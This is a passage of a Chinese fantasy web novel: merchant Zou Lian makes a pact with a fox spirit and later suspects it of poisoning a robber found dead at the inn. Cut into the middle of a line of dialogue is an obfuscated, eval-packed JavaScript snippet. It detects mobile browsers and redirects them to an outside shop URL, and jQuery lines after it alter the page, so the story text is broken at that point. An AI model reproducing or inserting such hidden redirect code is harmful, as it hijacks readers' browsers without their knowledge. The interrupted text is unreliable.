邹敛此人经商思路一贯相对保守,为人处世亦然。
他厌烦走险棋,不喜欢招惹麻烦事。
虽说因此丢了许多机会,被父亲教育过,但自他接手家中生意以来,也没闯祸也没犯错,比起那些肆意挥霍的世家子弟,好得不是一星半点。
十余年人生里,他做的最冒险的一件事便是,跟着商队来西域。
如今说来不算后悔,但时而想家,时而因为狐狸的存在感到烦躁。
邹敛想到这几日他们的相处,狐狸并没有表现出所谓的残暴凶狠,反而异常温顺,温顺到令邹敛生出了更大的猜忌和戒备。
但狐狸毕竟救了他,邹敛不是那种可以无视救命之恩的人,便不好意思再赶它走。
“所以……你是怎么看出来那个女人是桑蚕女的?”
狐狸似有些讶异:“大人是从哪里知道的这个名字?”
“我们商队的领队说的。不过有关妖精的传言都是口口相传,多有夸大其词。你是妖精,应该知道的东西更多一些吧?”
邹敛把胡先生说的话原样复述了一遍,狐狸脸上露出了极其复杂的表情。
“大体上没有错,但桑蚕女算不上妖精。她们是无数死去的蚕汇聚而成的灵体,非生非死,容貌也可以随意变换。”
“那她们当真会食人魂魄?”
狐狸盯着他的脸看了好久,忽然笑了。
“你笑什么?”
“大人脸色不好看,是害怕了吗?”
邹敛矢口否认:“怎能……怎么可能。”
“大人不必害怕,”狐狸忽然凑近,压低声音说,“我给大人身上下了法术,她们不敢再近你的身了。”
邹敛这下是真的害怕了。
“法术?什么时候的事情?”
狐狸笑眯眯:“就是刚才呀。”
“你是说……”
狐狸握着他手的时候?
邹敛打了个冷颤。
能在悄无声息间给他下法术,想要弄死他不是轻而易举?
好在邹敛想得开,他知道自己被狐狸缠上了,轻易逃不脱,索性不去想这些。
狐狸没在意邹敛的丰富表情,自顾自地说:“她们并不吃人魂魄,只是怨气太重,会逼着人们吃她们的怨气,人被吓得魂魄离体,就说是被桑蚕女给吃掉了。
“怨气……”邹敛点点头,“那舞姬要给我下毒,也是要逼着我吃她的怨气吗?”
“你已经吃下了,用不着下毒。”
邹敛莫名感到身体不适,好像怨气化作了实体,令他难以消化。
他想到狐狸冲进来打断了他们的谈话,想起那被打翻的毒酒,生出一阵后怕。
魂不守舍地想了很久,连棺材要用什么木头打都想了一遍,邹敛才意识到自己明明身上什么事都没有。
“我……吃下了?可我完全没感觉到,像他们那样的惊恐啊。”
狐狸颇为认真地思索,一本正经地回答:“约莫是大人一身正气,压住了怨气。”
邹敛被逗地一乐,继而追问:“那她要给我下毒又是……”
“那酒里的毒不一定会让你死,但你或许会无法动弹,听她讲两个时辰的鬼故事,被吓得像街上那群人一样魂飞魄散。”
听上去有点叫人后怕。
邹敛的好奇心忽然起来:“那怨气是从哪来呢?桑蚕不通人性,也未必知道痛苦,怎么成了人形就有这么深厚的怨气?”
“这我就不知道了。桑蚕女本就是需要怨气才能汇聚,如果怨气太轻会直接逸散。这些年我遇到的桑蚕女,基本都是成了人后才积起的更大怨气。如果不及时喂给人吃掉,怨气就会反噬自身。”
“你是说,那舞姬所说的,与中原人有了孩子后被中原人抛弃,最后被浸猪笼的事,是真的发生在了她身上的?”
“桑蚕女如果化人后被善待,是可以变作真正的人的。”
邹敛听得有些呆住了。启程来西域大半个月,他头一次真的明确感知到自己来到了一个全然陌生的新世界。
“大人还有什么想听的,我只要知道,都说给你听,”
狐狸笑得眼睛弯弯,邹敛发觉自己忍不住一直盯着他的眼睛看。
经过这一番,邹敛对狐狸的态度也有所转变。
本着论迹不论心的想法,狐狸帮了他,救了他,还没做坏事,邹敛觉得也不是不能留下这只狐狸。
“我是跟着商队去楼兰交货的,平日里出门不能带着你,这一路对你来讲会很无趣,你想清楚了,要跟着我走?”
狐狸很真诚地点点头:“大人是第一个对我好的人,再苦再累我也要跟着大人一起。”
“那我要跟你约法三章。第一,如若是在城里,我白日有事出门,你得要乖乖待在客房里,不准偷偷跟着我出来。”
狐狸点点头。
“第二,不要在除我以外任何人面前暴露你现在这副皮囊,免得有好事的人来打探你的事。”
狐狸低头看了看自己的身体,又听见邹敛补充了一句:“你也知道自己这幅样子很惹眼,一旦被人看见,一定能被注意到,就会给我招惹麻烦。”
“惹眼是什么意思?大人是觉得我好看么?”
“啊?”
反应过来后,邹敛无语地长叹一口气。
不想昧着良心,也不想让狐狸像小孩一样死缠烂打,邹敛决定敷衍:“好看,好看。”
狐狸的眼睛更亮了,得意地摸了摸自己的脸。
“第三,不许伤人。这是我的底线,不管是出于什么原因,不能伤人。我既然收留了你,你做的事我就有一半责任,你杀了人我心里也会不安。”
狐狸这次很快就点了头。
“如果做不到,我就找个荒山野岭把你扔了。”
说完这话邹敛自己也觉得颇没有气势,狐狸却像是真的被威胁到了一样,眼里露出楚楚可怜的神情。
邹敛撇了一眼,无视了。
“还有,你没洗过澡的话,不许上我睡的床,不管是人还是狐狸。晚上自己到竹篓里去睡,别吵到我睡觉。”
“嗯,我会听大人的话,不给大人添麻烦的。”
邹敛看着眼前这个大家伙,西域样貌,黑棕色的头发一半扎成小辫子,一半披散下来,难以接受它是自己背在竹篓里的红狐狸这件事。
“抬着头和你讲话脖子好累,你能不能变回狐狸。”
“嗯。”
还是狐狸毛摸着舒服。
第二天邹敛一早就出门,狐狸很遵守约定地没有缠着他,也没有悄悄跟上来,邹敛感到一种久违的自在。
这是他在凉州城的最后一个白天,这几日忙着交易又要处理怪事,还没来得及好好逛一逛凉州城。
凉州因地处河西的关口,是前去四郡和塞外诸国的必经之路,因而诞生出繁荣的贸易。
胡先生见他要出门,颇为关切地问:“大人是要去街上看看?要不要带几个人跟着?”
邹敛笑着回绝:“不用,我就随便看看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555294|204427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
他其实是想考察河西商业状况,打算着过些年在这里开办生意。
但此事瞒着他父亲,胡先生和他父亲又交情颇深,如果知道了不可能不告密。
他父亲向来不准他碰西边的生意,若不是此次楼兰定的货只有他们家能给,他父亲绝不会做这笔生意。
邹家早年在凉州开过一家布料染坊,起初让胡人和洋人感到新鲜,生意一度红火。
后来人人都学着他们家开染坊,本地产业更迭太快,邹家又对西边的生意疏于管理,最终亏本闭店。
邹敛深知想要在这种关口赚钱很容易,想把生意做大却难如登天。新鲜事物不停地进来,必然要驱散旧的,用新奇事物博人眼球。
出发前,邹敛还幻想着回去能说服父亲在此处置办长期产业,一雪前耻。
可当他真正来到这里,邹敛才恍然大悟,原来父亲一直不碰西边的生意,有他的顾虑。
想要在此处扎根,必须有懂行的人一直盯着,要有源源不断的新鲜东西,才能做长做久。
邹敛正在小工艺品摊子上挑着木头小玩具,忽然感觉身后有人。
他机警地转头去看,看见是商队里的人,松了口气。
“怎么了?”
那人看上去火急火燎,神色慌乱,舌头也打结:“大人,您,您回驿站看看吧。”
邹敛脸上原本挂着的笑容慢慢消失:“究竟怎么了?”
“您……您的客房被一个强盗闯进去了,然后,然后那个强盗他,他不明不白地死在驿馆的院子里。现在巡逻卫和胡先生都在派人找您呢,您快些回去看看吧。”
邹敛心里咯噔一下,放下手里拿着的小拨浪鼓,一刻没犹豫地跟着那个商队的侍卫走,生怕晚一步就要出什么事。
被强盗翻了房间是小事,但他房间里养着个活物,活着的邪祟之物。
要是不小心被人看见了,恐怕他和狐狸都没什么好下场。
邹敛赶回去时,仵作正在验伤。
那强盗死得离奇,目击者说当时看见他从楼梯上诚惶诚恐地下来,忽然僵硬倒地,口吐白沫。
“楼上怎么样了?”邹敛焦急地问胡先生,甚至等不及听到他的答复,已经在观察着胡先生的脸色。
胡先生神色如常:“大人,刚才我派人上去看了,金银细软一应物品全都在,一样没丢。大人先放心。”
邹敛大大地松了口气。
狐狸没被发现,多半是自己机灵,趁早逃跑了。
邹敛把目光投向那个死状凄惨的强盗。
没有外伤,大概率是毒杀。
强盗死前最后一个进入的房间是邹敛的客房,有谁能给他下毒?
邹敛忽然产生了一个可怕的念头……
“大人,大人?”胡先生在一旁唤他,邹敛过了好久才应声。
胡先生见他魂不守舍,便问他:“大人,您要是觉得此处煞气太重,先回房休息也可。客房我已命人收拾妥当,大人不必担心。”
“好。”
邹敛答应得干脆,走得也干脆,只是人在前面走,魂在后面追。
不知在客房的床榻上坐了多久,他才大梦初醒一般意识到自己身处一桩凶案的现场,而最可能完成这一切的,正是他养在竹篓里的那只狐狸。
偏偏就在这时候,那个最大嫌疑狐拨开竹帘,从窗外轻盈跃入室内,停在了邹敛的脚边。
见邹敛不说话,狐狸先一步开口:“大人是在怀疑我吗?”